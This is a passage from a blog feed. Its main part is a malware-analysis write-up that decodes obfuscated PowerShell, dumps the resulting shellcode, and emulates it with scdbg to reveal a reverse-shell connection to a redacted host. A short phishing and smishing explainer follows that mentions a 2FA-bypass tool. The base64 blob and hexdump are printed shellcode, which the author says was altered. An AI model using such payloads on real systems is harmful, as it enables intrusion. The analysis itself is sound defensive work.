   &lt;a href=&quot;images/secondstage.png&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/secondstage.png&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Here we see the next payload in the collection; more powershell and more interesting. There’s a lot to unpack here, literally, so lets start with some of the most interesting sections:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;seemingly random function names &lt;em&gt;non descriptive, obfuscation attempts&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;another base64 encoded string, converted to a byte array variable, &lt;em&gt;&lt;code&gt;[Byte[]]$aN&lt;/code&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;various calls to kernel32.dll, including calling a &lt;code&gt;VirtualAlloc&lt;/code&gt; from the byte array &lt;code&gt;$aN&lt;/code&gt; variable&lt;/li&gt;
&lt;li&gt;loading the base64 decoded string to memory and executing there&lt;/li&gt;
&lt;li&gt;pipes all STDOUT to null&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point, if you’re trying to follow along on Windows, your anti-virus is likely going crazy. This is known bad. What we have here, is a so called fileless malware, with multiple layers of obfuscation. This is certainly nothing new, powershell redteam/attack frameworks like Empire, powersploit and metasploit, have been doing this for a while. But we’re not quite done with running this down yet. Let’s keep digging at the remainder.&lt;/p&gt;

&lt;p&gt;After dissecting this Matryoshka doll, we know the payload is executing something. Using the same previous steps for decoding base64, lets find out &lt;strong&gt;what&lt;/strong&gt; it is executing.&lt;/p&gt;

&lt;h3&gt;Third&lt;/h3&gt;

&lt;p&gt;Extract out the &lt;code&gt;FromBase64String&lt;/code&gt; and then decode it to a file:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;$ &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; -n &lt;span class=&quot;s2&quot;&gt;&amp;#34;/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixBAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=&amp;#34;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; base64 -d &amp;gt; thirdstage
$ file thirdstage
thirdstage: data
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Hmmm. That doesn’t tell us much so let’s try another tool hexdump:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;$ hexdump -Cv thirdstage&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-hexdump&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;&lt;span class=&quot;nl&quot;&gt;00000000&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;fc&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e8&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;82&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;60&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;89&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;e5&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;31&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;64&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;......`..1.d.P0.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000010&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;52&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;52&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;14&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;72&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;28&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;0f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;b7&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;4a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;26&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;31&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ac&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;3c&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;R..R..r(..J&amp;amp;1..&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000020&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;61&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;7c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;02&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;20&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c1&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;cf&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0d&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c7&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e2&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;f2&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;52&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;52&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;a|., .......RW.R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000030&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;4a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;3c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;4c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;11&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;78&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;e3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d1&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;51&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;59&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;20&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;..J&amp;lt;.L.x.H..Q.Y &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000040&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;49&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;18&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;3a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;49&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;34&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d6&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;31&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ac&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;...I..:I.4...1..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000050&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;c1&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;cf&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0d&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c7&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;38&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;75&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;f6&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;03&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;7d&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;f8&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;3b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;7d&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;75&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.....8.u..}.;}$u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000060&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;e4&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;66&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;4b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;1c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d3&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.X.X$..f..K.X...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000070&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;04&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;89&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;24&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;24&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;61&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;59&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;51&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;......D$$[[aYZQ.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000080&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;e0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;8b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;10&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;6a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;68&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0b&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0f&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.__Z..@..j.Ph./.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;00000090&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d5&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;57&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;68&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;6e&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;4d&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;61&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d5&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5e&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;5e&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;24&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;0..WhunMa..^^..$&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;000000a0&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;0f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;85&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;70&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e9&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;9b&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;01&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;29&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c6&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;75&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;..p..........).u&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;000000b0&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;c1&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;c3&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;bb&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;1d&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;2a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;68&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;a6&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;95&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;bd&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;9d&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;d5&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;3c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;06&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.....*.h......&amp;lt;.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;000000c0&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;7c&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;80&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;fb&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;e0&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;75&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;05&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;bb&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;47&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;13&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;72&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;6f&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;6a&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;00&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;53&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;ff&lt;/span&gt;  &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;|....u..G.roj.S.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;000000d0&lt;/span&gt;  &lt;span class=&quot;mh&quot;&gt;d5&lt;/span&gt;                                                &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;000000d1&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That’s looking a little scarier… Like I said before, there’s a few red team frameworks that can be used to create payloads. In this hexdump, “&lt;code&gt;fc e8 82 00 00 00&lt;/code&gt;” on the first line is a &lt;em&gt;very&lt;/em&gt; common metasploit header for Windows shellcode. It’s not a 100% given at this point, but it is definitely an interesting find. This decoded blob is likely some shellcode payload, but we still can’t see what it’s doing. We’re going to need some additional tools.&lt;/p&gt;

&lt;h2&gt;Intermission, scdbg&lt;/h2&gt;

&lt;p&gt;Analyzing shellcode is pretty annoying and difficult. For 90% of the cases out there for windows that is not entirely custom written and target specific shellcode, there is &lt;a href=&quot;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=152&quot;&gt;SCDBG&lt;/a&gt;. It uses the libemu toolkit to emulate a Windows shellcode executions. There are other and more advanced tools out there like &lt;a href=&quot;https://www.unicorn-engine.org/showcase/&quot;&gt;Unicorn Engine&lt;/a&gt;, but this will serve just fine. If you don’t already have scdbg, you’ll need to git it and build it.&lt;/p&gt;

&lt;p&gt;That process on a Debian based system looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;apt-get install libemu-dev libtool git
git clone git://github.com/dzzie/SCDBG.git
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; SCDBG
autoreconf -v -i
./configure --prefix&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/opt/libemu&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; make install
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;When I tried this process, I had the following errors.&lt;br/&gt;
&lt;code&gt;Makefile:496: recipe for target &amp;#39;libemu.la&amp;#39; failed&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Which is actually from libtool:&lt;br/&gt;
&lt;code&gt;../libtool: eval: line 1720: syntax error near unexpected token&lt;/code&gt;|`&lt;/p&gt;

&lt;p&gt;Right above that error line there is the actual command causing this error:&lt;br/&gt;
&lt;code&gt;|  | /bin/sed &amp;#39;s/.* //&amp;#39; | sort | uniq&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It appears like there is a command or &lt;em&gt;something&lt;/em&gt; missing from the pipes before the sed command. You can’t “double pipe” in bash.
A workaround for this is to edit &lt;code&gt;libtool&lt;/code&gt; file that is created after the autoreconf. If you search the file for &lt;code&gt;sort | uniq&lt;/code&gt;, you’ll find a line starting with &lt;code&gt;export_symbols_cmds&lt;/code&gt;, that is causing this. The syntax error is caused by the environment variable &lt;code&gt;$global_symbol_pipe&lt;/code&gt; not being set. Edit the libtool file and remove that and the extra &lt;code&gt;|&lt;/code&gt; symbol, and save the file. Now, you should be able to run &lt;code&gt;make install&lt;/code&gt; and have it build successfully&lt;/p&gt;

&lt;h3&gt;ACT II&lt;/h3&gt;

&lt;p&gt;Now that we have scdbg built and working, lets take a look at our shellcode blob with it.
Run the command &lt;code&gt;scdbf -f thirdstage&lt;/code&gt; and we see the final payload:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ scdbg -f thirdstage
Loaded 16a bytes from file thirdstage
Initilization Complete..
Max Steps: 200000
Using base offset: 0x401000

40109d  LoadLibraryA(ws2_32)
4010ca  WSASocket(2, 1, 0)
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )
4010d6  connect(h=4711, host: X.X.X.X  , port: XXXX )

Stepcount 200001
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The IP address and port are redacted here but they’re not important. What’s important is that we did successfully decode the Windows shellcode, and can tell what it is trying to do. In this instance, it is attempting to create a socket connection over TCP to the stated IP address and port. This is a classic reverse shell attempt, with shellcode, encoded to base64 in multiple layers. If the payload was successful in evading detection and then running on boot &lt;em&gt;(as the scheduled task was designed to do)&lt;/em&gt;, an attacker would be rewarded with full command line access to the infected machine.&lt;/p&gt;

&lt;h4&gt;Bash-fu&lt;/h4&gt;

&lt;p&gt;You can try getting this all done at once &lt;em&gt;(if you already have scdbg installed)&lt;/em&gt; by using a one-liner:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;pre class=&quot;chroma&quot;&gt;cat task_b64 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; base64 -d &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; gunzip &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; grep &lt;span class=&quot;s2&quot;&gt;&amp;#34;FromBase64String&amp;#34;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; cut -d&lt;span class=&quot;se&quot;&gt;\&amp;#34;&lt;/span&gt; -f2 &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; base64 -d &lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; scdbg -S
&lt;/pre&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;I’m confident that we discovered the ‘how and what’ of what this particular piece of malware was doing. We didn’t discover the why, or find out the root cause of the infection. For the purpose of understanding the dissection of the obfuscated Powershell, we did succeed though! The process detailed here is how I went about understanding what exactly was going on with this payload, through Linux command line.&lt;/p&gt;

&lt;p&gt;This wasn’t the only malicious piece of software on the computer, just the most interesting one that was found. After all this to satiate curiosity, we just reloaded a clean and known good operating system. Crisis averted and a younger relative can now enjoy the joys of computing.&lt;/p&gt;

&lt;hr/&gt;

&lt;h3&gt;Additional reading&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://isc.sans.edu/forums/diary/Fileless+Malicious+PowerShell+Sample/23081/&quot;&gt;SANS ISC Blog - Fileless PowerShell&lt;/a&gt;&lt;br/&gt;
&lt;a href=&quot;http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=152&quot;&gt;SCDBG&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;small&gt;&lt;em&gt;Base64 encoded text and hexcode/shellcode intentionally altered to reduce risk&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;
</description></item><item><title>Phishing, Smishing</title><link>https://blog.penguincoder.com/phishing-smishing/</link><guid>https://blog.penguincoder.com/phishing-smishing/</guid><pubDate>25 Jun 2020 00:00 +0000</pubDate><description>&lt;h2&gt;Phishing&lt;/h2&gt;

&lt;p&gt;Everyone has dealt with this email annoyance. According to &lt;a href=&quot;https://www.knowbe4.com/phishing&quot;&gt;knowbe4&lt;/a&gt;, &lt;em&gt;Phishing is the process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity using bulk email which tries to evade spam filters.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Some scammer in Nigeria sends an email that looks like this:&lt;br/&gt;
&lt;/p&gt;&lt;center&gt;
   &lt;a href=&quot;images/ms_phish.jpg&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;images/ms_phish.jpg&quot;/&gt;&lt;/a&gt;
&lt;/center&gt;&lt;p&gt;&lt;/p&gt;

&lt;p&gt;Then, some poor soul invariably clicks the ‘click here’ link, which leads to a spoofed login page. They enter their credentials into the adversary owned domain because it ‘looks the same’. If they’re unlucky enough, it will be a work email account. Even worse, if they reused the same password and somewhere else. This is your standard low hanging fruit credential harvesting phish. It’s used often, because it works.&lt;/p&gt;

&lt;p&gt;Enter, a standard level of protection, two-factor or multi-factor authentication. I’m not going to go into the specific &lt;a href=&quot;https://www.helpsystems.com/resources/articles/whats-difference-between-two-factor-authentication-and-multi-factor&quot;&gt;differences&lt;/a&gt;, but suffice to say, it involves ‘something you know’ &lt;em&gt;(your password)&lt;/em&gt; and ‘something you have’ &lt;em&gt;(some type of uniquely generated token/identifier)&lt;/em&gt;. There are a lot of issues with using SMS (text message) as two-factor auth. Techniques to bypass this protection includes &lt;a href=&quot;https://krebsonsecurity.com/2019/03/why-phone-numbers-stink-as-identity-proof/&quot;&gt;SIM Swapping&lt;/a&gt; or an overzealous login &lt;a href=&quot;https://nakedsecurity.sophos.com/2019/09/24/youtube-influencers-get-2fa-tokens-phished/&quot;&gt;based on targeted spear-phishing&lt;/a&gt;. One such tool that helps enable this type of two-factor auth bypass pishing, is &lt;a href=&quot;https://www.kalilinux.in/2019/04/modlishka-bypass-2fa.html&quot;&gt;Modlishka&lt;/a&gt;. Modlishka can easily bypass two factor authentication running on Gmail, YahooMail, RadiffMail, Facebook etc and catch the credentials like username, password, two factor authentication token.&lt;/p&gt;

&lt;h2&gt;Smishing&lt;/h2&gt;

&lt;p&gt;Smishing is a &lt;a href=&quot;https://www.sans.org/security-awareness-training/resources/messaging-smishing-attacks&quot;&gt;portmanteau of “SMS”&lt;/a&gt; &lt;em&gt;(short message services, better known as texting)&lt;/em&gt; and “phishing.” While not directly related to the above two-factor authentication bypass, Smishing is a growing portion of fraudulent communications; there’s just not as many protections around SMS, as there is for email. Smishing simply uses text messages as the delivery for a lure instead of email.&lt;/p&gt;

